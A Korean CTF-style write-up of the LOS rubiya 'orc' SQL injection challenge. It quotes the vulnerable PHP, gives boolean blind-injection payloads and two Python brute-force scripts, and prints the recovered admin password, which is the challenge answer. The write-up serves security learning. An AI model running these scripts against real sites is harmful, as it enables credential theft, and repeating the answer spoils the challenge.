<코드 분석>
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
solve 주변을 보자. result의 pw 값이 get으로준 pw 값과 같으면 풀리는데, 이때 result 값은 admin의 값이다.
윗 단락의 코드를 보면 여기서 정보를 뽑아내야 한다는 것을 알 수 있다. 실질적인 비밀번호를 알아내야 하는 것이기 때문에 pw 의 길이 + n번째 길이의 값 순서로 알아낼 수 있다.
<해설>
먼저 길이를 알아보자.
?pw='or length(pw)>0 %23 -> Hello admin 이 나온다.
?pw='or length(pw)<0 %23 -> 안나온다. 해당사항이 없는 것이다. 이를 이용하면 되겠다.
Python 코드를 통해서 구해보도록 하자.
import requests
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
PHPSESSID="본인의 PHPSESSID"
for i in range(0,100): #길이가 설마 100 넘겠어..?
pay="?pw='or length(pw)="+str(i)+" %23"
res=requests.post(url=url+pay, cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
print("found the length : "+str(i))
break
원하는 길이는 8이다.
이제 각 길이별로 원하는 값인지 찾아보자. 이때 사용할 함수는 substr 함수랑 ascii(ord)함수이다.
substr: 문자열 분할해주는 함수. substr( str,a, b ) (str : 원하는 문자열 , a : 시작 인덱스 , b: 원하는 길이)
ascii : 문자열을 ascii 코드 값으로 변환해주는 함수.
?pw='or ascii(substr(pw, 1, 1))= 48 ->pw의 1번째 인덱스만 아스키값으로 변환 48이랑 비교
이것 또한 Python 으로 해보자.
import requests
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
PHPSESSID="본인의 PHPSESSID"
for i in range(1,9):
print("i is : "+str(i))
for j in range(48,128):
payload="?pw='or ascii(substr(pw,"+str(i)+",1)="+str(j)+" %23"
res=requests.post(url=url+payload,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
pw += chr(j)
print("FOUND PW's "+str(i)+" word : "+pw)
break
print("FINAL PW : "+pw)
pw : 095a9852
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Wolfman (0) | 2020.05.13 |
---|---|
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS - rubiya : Goblin (0) | 2020.05.07 |
LOS -rubiya : Cobolt (0) | 2020.05.07 |
LOS - rubiya : Gremlin (0) | 2020.05.07 |